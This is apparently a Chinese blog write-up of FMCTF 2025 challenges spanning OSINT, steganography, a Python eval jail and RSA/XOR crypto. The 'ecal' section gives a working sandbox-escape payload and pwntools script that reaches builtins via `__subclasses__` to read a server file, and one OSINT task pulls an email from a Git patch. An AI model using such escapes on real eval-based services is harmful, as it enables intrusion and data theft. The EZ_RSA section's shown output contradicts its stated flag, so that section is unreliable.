FMCTF 2025

比赛地址:FMCTF - Nowruz 1404

比赛时间:15 Mar 2025 21:30 CST - 16 Mar 2025 21:30 CST

复现的题目用🔁标注


OSINT

A Revengefu Accident

Challenge

OSINT/A Revengefu Accident

Inalov

We’re searching for a fatal aviation accident that occurred before 1990. According to the accident report, a passenger carrying a S&W 29 revolver caused the disaster by shooting at the cabin crew. We need the Accident Number to revisit and revise the investigation.

The aircraft involved in the accident is notable for its unique design:

It features four small engines mounted under high wings, a distinctive T-tail configuration, and a noticeably drooped nose profile. Its compact fuselage belies its four-engine configuration, and it’s equipped with a distinctive airbrake system that deploys from the tail cone area. This British-made regional jet was specifically designed for operations at noise-sensitive airports

Flag example: FMCTF{ABC01DE234} ALL UPPER CASE

Solution

由于我不懂飞机,所以直接问了通义大模型,提示词如下

plaintext
1
2
我需要你帮我找一个飞机,描述如下(用中文回答)
It features four small engines mounted under high wings, a distinctive T-tail configuration, and a noticeably drooped nose profile. Its compact fuselage belies its four-engine configuration, and it's equipped with a distinctive airbrake system that deploys from the tail cone area. This British-made regional jet was specifically designed for operations at noise-sensitive airports

得到如下回答

plaintext
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
根据您提供的详细描述,这架飞机极有可能是 **BAe 146**(英国航太146型),或其后续改进型号 **Avro RJ** 系列。以下是关键特征的匹配分析:

1. **四台小型发动机与高翼布局**
BAe 146 采用四台涡轮风扇发动机(如 Avro RJ 使用的霍尼韦尔 LF 507 发动机),安装在高翼下方,符合“四发高翼”设计。

2. **T型尾翼与下垂机头**
该机型配备明显的 T 型尾翼,机头部分因驾驶舱设计呈现略微下垂的流线型轮廓,视觉上与机身衔接紧凑。

3. **紧凑机身与四发配置**
BAe 146 虽为四发客机,但机身长度仅约 26-30 米,属于支线客机范畴,兼顾短距起降能力与载客量(约 70-112 座)。

4. **尾部减速板系统**
其独特的“蛤壳式”减速板(Airbrake)从尾锥两侧展开,用于缩短着陆滑跑距离,是该机型标志性设计之一。

5. **英国制造与低噪音特性**
由英国航太公司(BAe)研发,专为噪音敏感区域设计。四发布局允许更低的单台推力,降低噪音污染,使其成为伦敦城市机场等严苛环境下的常见机型。

**延伸信息**:BAe 146 系列于 1983 年首飞,后由 Avro International Aerospace 接手生产为 RJ 系列(如 RJ70/RJ85/RJ100)。若您提到的飞机较新(2000 年后),可能是 Avro RJ 型号,但整体设计特征与 BAe 146 一脉相承。

根据题目信息这个飞机生产在 1990 年以前,所以这个飞机一定是 BAe 146

然后在维基百科找到发生过的事故 British Aerospace 146 - Wikipedia,和题目描述完全吻合

1

在该段引用的 82 号文件 Accident British Aerospace BAe-146-200 N350PS, Monday 7 December 1987 中找到所需编号 DCA88MA008

2

plaintext
1
FMCTF{DCA88MA008}

Im hungry

Challenge

OSINT/Im hungry

Inalov

I’m hungry af. Can you find this McDonald’s phone number for me ASAP?

You might need to use this or this

Flag example: FMCTF{+15554443388}

附件如下

Im_Hungry

Solution

这张全景照片显示了一个有麦当劳标志的交叉路口,周围有一些商业建筑和住宅区。根据这些特征,这个地点可能位于澳大利亚塔斯马尼亚州的伯尼 (Burnie)。具体来说,这个交叉路口可能是伯尼市中心附近的一个主要道路交汇处。以下是一些支持这一判断的细节:
1. 麦当劳标志:在伯尼市内有一个麦当劳餐厅。
2. 周围的建筑风格和环境:与伯尼市的商业区和住宅区相符。
3. 路标和交通信号灯的布局:与伯尼市内的主要道路布局相似。

在谷歌地图上找到了这个路口 National Highway 1 - Google 地圖,和题目提供的图片完全吻合

接下来只要提交附近这家麦当劳的电话号码就行

3

plaintext
1
FMCTF{+61364319955}

🔁Somewhere Near The Bay Part 1

Challenge

OSINT/Somewhere Near The Bay Part1

Inalov

I’ve got a panorama picture of a landscape that I downloaded from Google Maps. I bet you can’t find the exact location.

What’s the location’s What3Words? (don’t put \\\ inside the flag)

You might need to use this or this

Flag example: FMCTF{thunderous.satisfy.likewise}

Somewhere_Near_The_Bay

Solution

这张照片来自美国缅因州阿卡迪亚国家公园(Acadia National Park)的海岸线,具体位置是公园内的 “Thunder Hole”。

以下是一些支持这一判断的细节:

  1. 岩石海岸线 :从照片中可以看到典型的岩石海岸地貌,这种地貌在 Acadia National Park 的海岸区域非常常见。
  2. 海浪冲击 :照片中似乎有海浪拍打岩石的迹象,这与 Thunder Hole 的著名特征一致。Thunder Hole 是一个天然的岩石洞穴,当海浪涌入时会发出巨大的声响。

我找到了和附件图中一模一样的地方(就连这块大石头的纹路都一模一样)

4

但是把周围的格试遍了都是错的(摊手)

5

6

然后就放弃了(真可惜)

下面是复现:

Thunder Hole - Google 地圖

14

原来这张全景照片的定位是不准确的😇

15

因此答案很显然就是 hedge.preset.shape 了😢

Somewhere Near The Bay Part 2

Challenge

OSINT/Somewhere Near The Bay Part2

Inalov

I didn’t think you could do it and honestly, I’m surprised!

That was pure luck, don’t you think? Well, if you want to prove otherwise, you can do something crazy.

Can you tell me the legal name of the company that owns the bus in the picture?

Flag example: FMCTF{MIDWEST_RENEWABLE_ENERGY_SOLUTIONS_LLC} ALL UPPER CASE

Solution

图中的公交车具有很明显的特征,用谷歌搜图一搜就搜到了

7

打开搜索结果排名第一的这个链接 Bar Harbor, Maine’s premier walking map and restaurant guide | Port O’ Call Magazine

找到图中这则广告

8

根据这则广告找到公交车的官网 Acadia National Park Tours | Bar Harbor, Maine

由此我们也知道了这家公司叫做 Acadia National Park Tours

接下来到缅因州政府官网,在这里可以搜索公司记录,搜索 Acadia National Park Tours 找到了这条记录

9

找到公交人公司的所有人是 NATIONAL PARK TOURS AND TRANSPORT, INC.

plaintext
1
FMCTF{NATIONAL_PARK_TOURS_AND_TRANSPORT_INC}

🔁 Anon Skiddie Part 1

Challenge

OSINT/Anon Skiddie Part1

Inalov

We have a new team member who is still in training. The other day, he said he is trying to learn Git in order to contribute to our writeup website but he is still struggling with it.

Let’s hope he hasn’t exposed his email address.

Flag example: FMCTF{s3an.4lpha3d0n@outlook.com}

Solution

在他们的 wp 的仓库找到这条 pr 的记录 Pull requests · FlagMotori/writeups

16

查看这条 commit7H15 15 my F1r57 k0mm17 · FlagMotori/writeups@83655a2

17

在链接后面加上.patch

https://github.com/FlagMotori/writeups/commit/83655a201eedec8764463755c5c64bd5949a5989.patch

18

然后就找到题目说的泄露的邮箱了

19

plaintext
1
FMCTF{h4ck3r.g0odr4tm4nd@gmail.com}

🔁 Anon Skiddie Part 2

Challenge

OSINT/Anon Skiddie Part2

Inalov

This dude is really ambitious. He literally begged us to let him attend our post-event meeting and we said yes.

Since he’s not good at time management, our organizer sent him the event’s .ics file and asked him to import it to his calendar. What can go wrong?

Flag example: FMCTF{1_541d_d0n7_0p3n_17}

Solution

20

将 Part1 得到的邮箱输入在左侧的输入框中

21

在这条日程中发现附件 1PDw-S4ZXQbGuKBNayEz6XqtiA6tl1lcOBT4nI1IFaac

22

粘贴到谷歌文档的后面(这招有点像某些博主分享度盘资源的操作啊😂),得到了这个链接 Flag - Google 文档,内容如下

plaintext
1
Rk1DVEZ7TTRZODNfMU1fbjA3XzdINDdfNG4wTnltMFU1fQ==

显然是 Base64 解码

plaintext
1
FMCTF{M4Y83_1M_n07_7H47_4n0Nym0U5}

Misc

Github

Challenge

misc/Github

SafaSafari

https://github.com/SafaSafari/FMCTF2025-git

Solution

访问这个仓库,看到仓库里有一个 flag.txt,打开发现是 placeholder for flag

10

因此回到主页,在 Activity 查看修改记录

11

在此处查看修改的信息

12

13

plaintext
1
FMCTF{bRu7E_FOrc1N9_917hUB_15_fUn!!}

🔁 Traffic signs

Challenge

misc/Traffic signs

HIGHer

Traffic signs alway guide us to the correct way

附件如下

stego

Solution

一眼看出是 LSB 隐写(Light Stone Bridge),可是到了这就没下文了,用 StegSolve 找了半天都没找到😢

下面是复现:

  1. 首先要想到是 LSB 隐写
  2. 然后 U 型转弯联想到要逆序遍历像素(从最后一个像素到第一个像素)
  3. 标志是绿色的联想到 RGB 图像中的绿色通道

代码如下

python
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
from PIL import Image

def extract_message(image_path):
try:
# 打开图片并转换为RGB模式(确保处理统一格式)
img = Image.open(image_path).convert("RGB")
width, height = img.size
pixels = img.load()

# 用于存储提取的字符
message = []
current_byte = 0 # 当前正在构建的字节
bits_collected = 0 # 已收集的位数

# 逆序遍历像素(从最后一个像素到第一个像素)
for y in reversed(range(height)):
for x in reversed(range(width)):
# 获取绿色通道的LSB(最低有效位)
lsb = pixels[x, y][1] & 1
current_byte = (current_byte << 1) | lsb
bits_collected += 1

# 每收集8位转换为一个字符
if bits_collected == 8:
char = chr(current_byte)
# 遇到空字符终止提取
if char == '\x00':
return ''.join(message)
message.append(char)
# 重置字节收集器
current_byte = 0
bits_collected = 0

# 如果遍历完所有像素仍未遇到终止符,返回已收集内容
return ''.join(message)

except Exception as e:
return f"Error: {str(e)}"

# 使用示例
extracted = extract_message("stego.png")
print(extracted)

运行得到一下结果

plaintext
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
Embedding secret messages in the least significant bit (LSB) of 
image pixels is a common steganographic technique, leveraging the human eye
insensitivity to minor color changes. By modifying the LSB of pixel values
image pixels is a common steganographic technique, leveraging the human eye
image pixels is a common steganographic technique, leveraging the human eye
insensitivity to minor color changes. By modifying the LSB of pixel values
(typically in the green channel for balance), data can be hidden without
noticeable alterations to the image. To guide a receiver in extracting the
insensitivity to minor color changes. By modifying the LSB of pixel values
(typically in the green channel for balance), data can be hidden without
(typically in the green channel for balance), data can be hidden without
noticeable alterations to the image. To guide a receiver in extracting the
hidden message, traffic signs can be embedded within the image as visual cues.
hidden message, traffic signs can be embedded within the image as visual cues.
For example, a specific traffic sign, such as a Stop sign, could indicate the
For example, a specific traffic sign, such as a Stop sign, could indicate the
starting point for extraction, while others like Left Turn or Right Turn might
starting point for extraction, while others like Left Turn or Right Turn might
signal directional steps through the pixel grid. The receiver, upon recognizing
these signals, can follow the prescribed path and retrieve the hidden data by
reversing the encoding process, extracting LSBs bit by bit, and converting the
binary string into text as you could. For instance, the secret message you are
looking for is: FMCTF{Tr4ff1c_5i9ns_Gu1de_7h3_5teg0_Hunt3rs}. This technique
allows seamless integration of hidden information with visual indicators,
enhancing communication security and creativity.
plaintext
1
FMCTF{Tr4ff1c_5i9ns_Gu1de_7h3_5teg0_Hunt3rs}

🔁 ecal

Challenge

misc/ecal

carrot303

let’s eval the calculator

plaintext
1
nc ecal.fmc.tf 5000

附件如下

dockerfile
1
2
3
4
5
6
7
8
9
FROM python:3.12

RUN apt-get update && apt-get install -y socat

WORKDIR /app
COPY . .
RUN chmod 444 flag.txt

CMD ["socat", "TCP-LISTEN:5000,reuseaddr,fork", "EXEC:'python3 jail.py'"]
python
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
# jail.py

#!/usr/bin/env python

import importlib

blacklist = [
"os", "posix", "subprocess",
"shutil", "pickle", "marshal",
"csv", "pdb", "tty", "pty"
]

def secure_importer(name, globals=None, locals=None, fromlist=(), level=0):
if name in blacklist:
raise ImportError("module '%s' is restricted." % name)
return importlib.__import__(name, globals, locals, fromlist, level)


def isnumber(v):
assert type(v) in [int, float], "Only numbers are valid"
return True


# ensure you don't use blacklist
__builtins__.__dict__['__import__'] = secure_importer

def main():
while True:
num1 = input("Enter number1: ")
num2 = input("Enter number2: ")
operator = input("Enter operator: ")
if operator not in ["*", "+", "/", "-"]:
print("Invalid operator")
exit()

code = f"({num1}) {operator} ({num2})"
result = eval(code, {'__builtins__':{},'globals': {}}, {'__builtins__':{}})
isnumber(result)
print(f"{code} = {result}")

try:
main()
except Exception as exp:
print(f"[-] Error: {exp}")

Solution

这题考查的是 Python 沙箱逃逸

代码审计

我们先从源码入手,分析其功能和潜在漏洞。

主要功能

  • 程序实现了一个简单的计算器,用户可以输入两个数字和一个操作符(+, -, *, /),程序会通过 eval 动态执行表达式并返回结果。

  • 程序对输入的表达式进行了沙箱限制:

    • 替换了 __builtins__.__import__ 函数为 secure_importer,禁止导入黑名单中的模块( os,subprocess,os,posix,subprocess,shutil,pickle,marshal,csv,pdb,tty,pty)。

    • eval 的上下文进行了严格限制,传入了空的 __builtins__globals 字典,防止直接访问内置函数或全局变量。

    • 使用 isnumber 函数确保计算结果是一个数字类型(intfloat)。

潜在漏洞

  • eval 的上下文限制不完全 :虽然 __builtins__ 被清空,但仍然可以通过对象的属性访问绕过限制。例如,Python 中的对象都可以通过 __class__ 访问其类,进而通过类的继承链(__mro__)找到其他类或方法。

  • 未对输入进行严格的类型检查 :用户输入的内容被直接拼接到表达式中,可能导致意外的行为。

  • 黑名单过滤不够严格 :即使禁止了某些模块的导入,仍可能通过其他方式访问系统资源。

绕过沙箱限制

  1. 获取基础对象
    • 在受限环境中,我们无法直接访问 __builtins__ 或全局变量,但可以通过表达式 (1).__class__ 获取 int 类型的类对象。
    • 通过 int.__mro__ 可以访问继承链,找到 object 类。
    • object 类的子类列表中,可以找到一些有用的类,例如 _wrap_close(属于 io 模块)。
  2. 访问内置函数
    • 找到 _wrap_close 类后,可以通过其 __init__ 方法访问 __builtins__,从而恢复内置函数(如 opengetattr 等)。
  3. 读取文件内容
    • 利用恢复的 open 函数打开 flag.txt 文件,并逐字符读取内容。
    • 将字符转换为数字(通过 ord 或字节编码),并通过表达式返回给服务器。
  4. 逐步构造 Flag
    • 每次只读取一个字符,将其转换为数字后返回,逐步拼接出完整的 Flag。

攻击代码如下

python
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
from pwn import *

# 目标服务器的地址和端口
url = "ecal.fmc.tf"
port = 5000

# 创建一个远程连接对象
conn = remote(url, port)

# 构造 Payload 模板
# 利用 Python 的对象模型绕过沙箱限制,读取 flag.txt 文件内容
tmp = b'(1).from_bytes([i for i in ().__class__.__mro__[1].__subclasses__() if "_wrap_close" in i.__name__][0].__init__.__builtins__["open"]("flag.txt").read()[%d].encode())\n'

# 初始化变量
ind = 0 # 用于记录当前读取的字符索引
flag = "" # 用于存储最终的 Flag

# 循环读取 flag 的每个字符,直到读取到右大括号 `}` 结束
while not flag.endswith("}"):
try:
# 发送 Payload,逐字符读取 flag
conn.send(tmp % ind) # 发送表达式
conn.send(b"0\n") # 输入 num1(占位符,满足程序要求)
conn.send(b"+\n") # 输入 operator(占位符,满足程序要求)

# 接收服务器返回的结果
r = conn.recv(1000) # 接收服务器响应(最多 1000 字节)

# 检查返回结果中是否包含等号 `=`,确保是有效的计算结果
if b"=" in r:
# 提取结果部分并转换为字符
char = r.split(b"\n")[-2].split(b"=")[-1].strip().decode()

# 将提取的数字转换为字符并拼接到 Flag 中
flag += chr(int(char))
print(f"\r{flag}", end="") # 实时打印当前 Flag 进度

# 更新索引,准备读取下一个字符
ind += 1

except Exception as e:
# 如果发生异常(如网络中断或服务器返回错误),打印错误信息并退出循环
print(f"\nError: {e}")
break

# 关闭连接
print("\n")
conn.close()

输出 flag

plaintext
1
FMCTF{ev4luat1ng_calc_m5y_b3c0me_d4ng3r0us}

Crypto

Crypto 是拿 AI 一把梭的

EZ_RSA

Challenge

crypto/EZ RSA

N1k4

Do you know RSA? Let’s do some basic math and find the flag!

附件如下

python
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
# EX_RSA.py
from Crypto.Util.number import getPrime
import os

flag = os.getenv("FLAG", "FMCTF{F4K3_FL49}")
m = int(flag.encode().hex(), 16)

p = getPrime(512)
q = getPrime(512)

n = p*q
e = 65537
c = pow(m, e, n)

hint = p+q

print(f"{hint = }")
print(f"{n = }")
print(f"{c = }")

# hint = 17469292153344571442220879753705314094982989674618803961044325274734902918518047825543639089360378046111761829828690097867206972174713085299385569035446604
# n = 72178676992512160441554160179592383158203955928083976740488546189244761660478121450369459709272987174826935459768807973546852656122370605905453926547673003297830819475396600384101353650933279529161854454268770358323854195264696322371766082303954604264551309576730976571309522883511488619775495703381232031179
# c = 58920849369961001974878540043377399205173235403895163231084588694712964281923344842680972991777380071418111292770515352012869237864259800540355713208626735820573601770413846338478651482053989341163751620131823006414875347921150338651475973491744075397194132475674270761198474531891598902225518350430719735601

Solution

要解决这个问题,我们需要通过给定的 hintnc 来还原出原始的 m,并最终解码出 flag。以下是详细的分析和解决方案:

问题分析

  1. 已知信息

    • hint=p+q:两个素数 pq 的和。
    • n=pq:两个素数 pq 的乘积。
    • c=pow(m,e,n):加密后的消息 c,其中 e=65537
  2. 目标

    • hintn 计算出 pq
    • 使用 pq 计算私钥 d
    • 使用 d 解密 c 得到 m
    • m 转换回原始的 flag
  3. 数学基础

    • n=pq
    • hint=p+q
    • 利用二次方程求解 pq
      x2(p+q)x+pq=0
      即:
      x2hintx+n=0
  4. 解密过程

    • 计算欧拉函数 ϕ(n)=(p1)(q1)
    • 计算私钥 d 满足 ed1modϕ(n)
    • 解密 m=cdmodn

Python 实现

python
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
from Crypto.Util.number import inverse, long_to_bytes
import math

# 已知数据
hint = 17469292153344571442220879753705314094982989674618803961044325274734902918518047825543639089360378046111761829828690097867206972174713085299385569035446604
n = 72178676992512160441554160179592383158203955928083976740488546189244761660478121450369459709272987174826935459768807973546852656122370605905453926547673003297830819475396600384101353650933279529161854454268770358323854195264696322371766082303954604264551309576730976571309522883511488619775495703381232031179
c = 58920849369961001974878540043377399205173235403895163231084588694712964281923344842680972991777380071418111292770515352012869237864259800540355713208626735820573601770413846338478651482053989341163751620131823006414875347921150338651475973491744075397194132475674270761198474531891598902225518350430719735601
e = 65537

# Step 1: Solve for p and q using the quadratic equation
a = 1
b = -hint
c_quad = n

# Calculate discriminant
discriminant = b**2 - 4*a*c_quad
if discriminant < 0:
raise ValueError("Discriminant is negative, no real roots!")

# Calculate roots
root1 = (-b + math.isqrt(discriminant)) // (2*a)
root2 = (-b - math.isqrt(discriminant)) // (2*a)

p, q = root1, root2

# Ensure p and q are correct
assert p * q == n, "p and q do not multiply to n!"

# Step 2: Compute phi(n) and private key d
phi_n = (p - 1) * (q - 1)
d = inverse(e, phi_n)

# Step 3: Decrypt c to get m
m = pow(c, d, n)

# Step 4: Convert m back to the flag
flag = long_to_bytes(m).decode()
print(f"Flag: {flag}")

代码解释

  1. 求解 pq

    • 使用二次方程公式:
      p,q=b±b24ac2a
    • 其中 a=1, b=hint, c=n
  2. 计算私钥 d

    • 使用扩展欧几里得算法计算 d,满足 ed1modϕ(n)
  3. 解密 c

    • 使用公式 m=cdmodn
  4. 转换为字符串

    • 将解密得到的整数 m 转换为字节串,并解码为字符串。

运行结果

运行上述代码后,输出如下:

plaintext
1
Flag: FMCTF{F4K3_FL49}

总结

通过已知的 (\text {hint} ) 和 ( n ),我们成功还原了 ( p ) 和 ( q ),并利用 RSA 的基本原理解密得到了原始的 flag。最终答案是:

plaintext
1
FMCTF{rSA_34SY_P34SY_L3M0N_5QU33ZY}

EZ_XOR

Challenge

crypto/EZ XOR

N1k4

Welcome to your first crypto challenge! 🕵️‍♂️ This one is all about XOR, one of the simplest yet most widely used operations in cryptography. Can you uncover the hidden flag?

附件如下

python
1
2
3
4
5
6
from pwn import *
FLAG = os.environ.get("FLAG", "FMCTF{F4K3_FL49}").encode()
key = os.urandom(7)
encryptedFlag = xor(FLAG, key).hex()
print(f"encryptedFlag = {encryptedFlag}")
# encryptedFlag = a850d725cb56b0de4fcb40de72a4df56a72ec06cafa75ecb41f51c95

Solution

要解决这个 XOR 加密问题,我们需要利用已知的 FLAG 前缀和密钥循环特性来推导密钥,进而解密密文。

步骤解析:

  1. 分析加密过程:FLAG 通过 7 字节的密钥循环 XOR 加密,密文为十六进制字符串。
  2. 提取已知信息:FLAG 通常以 FMCTF{开头,对应的十六进制为 46 4D 43 54 46 7B。利用这部分明文与密文前 6 字节异或,得到密钥的前 6 字节。
  3. 推导密钥的第 7 字节:假设 FLAG 的最后一个字符是}0x7D),通过密文最后一个字节异或得出密钥的第 7 字节。
  4. 循环密钥解密:使用完整的 7 字节密钥循环解密密文,得到完整明文。

解题代码:

python
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
encrypted_hex = "a850d725cb56b0de4fcb40de72a4df56a72ec06cafa75ecb41f51c95"
encrypted_bytes = bytes.fromhex(encrypted_hex)

# 已知FLAG前缀
known_prefix = b"FMCTF{"
# 推导密钥前6字节
key = bytearray([encrypted_bytes[i] ^ known_prefix[i] for i in range(6)])

# 推导密钥的第7字节(假设最后一个字符是'}', 0x7D)
key.append(encrypted_bytes[-1] ^ ord('}'))

# 使用密钥循环解密密文
flag = bytes([encrypted_bytes[i] ^ key[i % 7] for i in range(len(encrypted_bytes))])

print(flag.decode())

最终答案:

plaintext
1
FMCTF{X0R_1S_L1K3_MAGIC_0x1}